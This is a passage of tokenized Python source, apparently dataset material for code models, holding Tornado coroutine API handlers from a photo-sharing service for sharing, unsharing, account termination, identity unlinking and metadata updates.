"'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Save", "Photos", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "SAVE", " ", "PHOTO", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "view", "points", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "vp", "\\u", "ids_", ")_", ",_", "len_", "(_", "ep", "\\u", "dicts_", ")_", ",_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Share", "Exist", "ing_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Share", "s", " ", "photo", "s", " ", "from", " ", "exist", "ing", " ", "episode", "s", " ", "with", " ", "the", " ", "followers", " ", "of", " ", "an", " ", "exist", "ing", " ", "view", "point", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "photos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "Episode_", "._", "Verify", "Episod", "e", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "ep", "\\u", "dict_", "[_", "'", "new", "\\u", "episode", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "+=_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Share", "Exist", "ing", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "SHAR", "E", " ", "EXIST", "ING", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "len_", "(_", "request_", "[_", "'", "episode", "s", "'_", "]_", ")_", ",_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Share", "New_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Share", "s", " ", "a", " ", "list", " ", "of", " ", "photo", "s", " ", "with", " ", "each", " ", "of", " ", "a", " ", "list", " ", "of", " ", "contact", "s", ",", " ", "specified", "\\", "10", ";", " ", " ", "by", " ", "a", " ", "contact", " ", "identi", "ty", " ", "key", " ", "or", " ", "a", " ", "view", "finde", "r", " ", "user", " ", "id", ".", " ", "Creat", "es", " ", "a", " ", "new", "\\", "10", ";", " ", " ", "view", "point", " ", "and", " ", "episode", "s", ",", " ", "with", " ", "the", " ", "contact", "s", " ", "as", " ", "followers", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vp", "\\u", "dict_", "=_", "request_", "[_", "'", "view", "point", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "View", "point_", "._", "Verify", "View", "point", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "photos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "Episode_", "._", "Verify", "Episod", "e", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "ep", "\\u", "dict_", "[_", "'", "new", "\\u", "episode", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "+=_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "contact", " ", "identities", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "Validate", "Conta", "cts_", "(_", "request_", "[_", "'", "contact", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Share", "New", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "SHAR", "E", " ", "NEW", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "len_", "(_", "request_", "[_", "'", "episode", "s", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Terminate", "Account_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Terminate", " ", "the", " ", "calling", " ", "user", "'", "s", " ", "account", ".", " ", "Unli", "nk", " ", "all", " ", "identities", " ", "from", " ", "the", "\\", "10", ";", " ", " ", "user", ",", " ", "mute", " ", "all", " ", "device", " ", "alert", "s", ",", " ", "and", " ", "disable", " ", "all", " ", "shar", "ing", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", ".", "Terminate", "Account", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "TERMINAT", "E", " ", "ACCOUNT", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Unli", "nk", "Identity_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Unli", "nk", " ", "an", " ", "exist", "ing", " ", "identi", "ty", " ", "from", " ", "the", " ", "request", "ing", " ", "account", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Validate", " ", "identi", "ty", " ", "key", "._", "\\u\\u\\uNL\\u\\u\\u_", "Identity_", "._", "Validate", "Key_", "(_", "request_", "[_", "'", "identi", "ty", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "unlink", "\\u", "ident_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Identity_", "._", "Query_", ",_", "client_", ",_", "request_", "[_", "'", "identi", "ty", "'_", "]_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "identi", "ty", " ", "is", " ", "missi", "ng", ",", " ", "then", " ", "assume", " ", "unlink", " ", "is", " ", "bei", "ng", " ", "re", "-", "call", "ed", ",", " ", "and", " ", "do", " ", "a", " ", "no", "-", "op", ".", " ", "If", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "user", "\\u", "id", " ", "doe", "s", " ", "not", " ", "match", ",", " ", "raise", " ", "a", " ", "permissi", "on", " ", "error", ".", " ", "Ot", "her", "wis", "e", ",", " ", "if", " ", "request", " ", "is", " ", "for", " ", "an", " ", "authorized_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", ",", " ", "we", " ", "must", " ", "query", " ", "to", " ", "ensure", " ", "this", " ", "won", "'", "t", " ", "be", " ", "last", " ", "one", " ", "rema", "inin", "g", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "unlink", "\\u", "ident_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "unlink", "\\u", "ident_", "._", "user", "\\u", "id_", "!=_", "user", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "'", "Ident", "it", "y", " ", "\"%", "s", "\"", " ", "not", " ", "linked", " ", "to", " ", "this", " ", "account", "'_", "%_", "request_", "[_", "'", "identi", "ty", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "unlink", "\\u", "ident_", "._", "authority_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query", "\\u", "expr_", "=_", "'", "identi", "ty", ".", "user", "\\u", "id", "=", "%", "d", "'_", "%_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "identities", "_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Identity_", "._", "Index", "Query_", ",_", "client_", ",_", "query", "\\u", "expr_", ",_", "[_", "'", "key", "'_", ",_", "'", "authori", "ty", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Verify", " ", "there", " ", "is", " ", "at", " ", "leas", "t", " ", "one", " ", "identi", "ty", " ", "rema", "inin", "g", " ", "with", " ", "an", " ", "authori", "ty", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "any_", "(_", "[_", "one", "\\u", "identity_", "._", "authority_", "is_", "not_", "None_", "and_", "one", "\\u", "identity_", "._", "key_", "!=_", "unlink", "\\u", "ident_", "._", "key_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "one", "\\u", "identity_", "in_", "all", "\\u", "identities", "_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "'", "Remo", "ving", " ", "this", " ", "identi", "ty", " ", "authoriz", "ed", " ", "by", " ", "%", "s", ",", " ", "wou", "ld", " ", "lea", "ve", " ", "you", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "with", " ", "no", " ", "way", " ", "to", " ", "access", " ", "your", " ", "account", "'_", "%_", "unlink", "\\u", "ident_", "._", "authority_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ident", "it", "y", ".", "Unli", "nk", "Ident", "it", "y", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "IDENTITY", " ", "UNL", "INK", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "identi", "ty", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "identi", "ty", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Uns", "hare", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Uns", "hare", "s", " ", "photo", "s", " ", "from", " ", "the", " ", "episode", "s", " ", "in", " ", "the", " ", "specified", " ", "view", "point", ",", " ", "as", "\\", "10", ";", " ", " ", "well", " ", "as", " ", "from", " ", "all", " ", "derive", "d", " ", "episode", "s", " ", "to", " ", "whi", "ch", " ", "the", " ", "photo", "s", " ", "wer", "e", " ", "shared", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Uns", "hare", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UNS", "HAR", "E", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "len_", "(_", "request_", "[_", "'", "episode", "s", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sum_", "(_", "[_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", "'_", "]_", ")_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Device_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "the", " ", "device", " ", "metadata", ".", " ", "Set", "s", " ", "a", " ", "new", " ", "secure", " ", "client", " ", "access", " ", "cookie", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "device", "\\u", "dict_", "=_", "request_", "[_", "'", "device", "\\u", "dict", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "device", "\\u", "dict_", "._", "has", "\\u", "key_", "(_", "'", "device", "\\u", "id", "'_", ")_", "and_", "device", "\\u", "dict_", "[_", "'", "device", "\\u", "id", "'_", "]_", "!=_", "device", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "400_", ",_", "'", "bad", " ", "auth", " ", "cookie", ";", " ", "device", " ", "id", " ", "mism", "atch", " ", "%", "d", " ", "!=", " ", "%", "d", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "device", "\\u", "dict_", "[_", "'", "device", "\\u", "id", "'_", "]_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "device", "\\u", "id", "'_", "]_", "=_", "device", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Dev", "ice", ".", "Update", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "DEV", "ICE", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Episode_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "episode", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "activity_", "=_", "request_", "._", "pop_", "(_", "'", "activit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "activit", "y", "'_", ":_", "activity_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "episode", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Update", "Episod", "e", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPDATE", " ", "EPI", "SO", "DE", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "episode", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "episode", "'_", "]_", "[_", "'", "episode", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Followe", "r_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "follower", " ", "metadata", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", 